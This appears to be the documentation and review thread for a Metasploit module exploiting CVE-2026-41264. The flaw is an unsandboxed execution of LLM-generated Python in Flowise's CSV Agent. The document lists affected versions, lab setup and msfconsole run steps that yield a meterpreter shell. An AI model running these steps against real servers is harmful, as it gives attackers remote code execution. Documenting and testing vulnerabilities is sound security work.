CVE-2026-41264
GHSA-3hjv-c53m-58jj

Vulnerable Application

This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise.
Authentication is not required to exploit this vulnerability.

The specific flaw exists within the run method of the CSV_Agents class.
The issue results from the lack of proper sandboxing when evaluating an LLM generated python script.
An attacker can leverage this vulnerability to execute code in the context of the user running the server.

The vulnerability affects:

*  flowise <= 3.0.13
*  flowise-components <= 3.0.13

This module was successfully tested on:

* flowise 3.0.13 installed with Docker

Installation

  1. docker run --name flowise -p 3000:3000 flowiseai/flowise:3.0.13

  2. On an attacker machine

curl -fsSL https://ollama.com/install.sh | sh
ollama run llama3.1
  1. Create API Key (need chatflows:create permission for exploit to work)
image

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/flowise_auth_rce_cve_2026_41264.rb
  4. Do: run lhost=<lhost> rhost=<rhost> apikey=<apikey> ollamaapiuri=<ollamaapiuri> model=<model>
  5. You should get a meterpreter

Is there a lower bound?

Thanks! Although this has not been explicitly tested (yet), there appears to be no lower bound.

It seems that the CSV Agent was first introduced in Flowise version 1.3.0, so the theoretical lower bound is 1.3.0.
Updated. dc9dd26 Thanks!
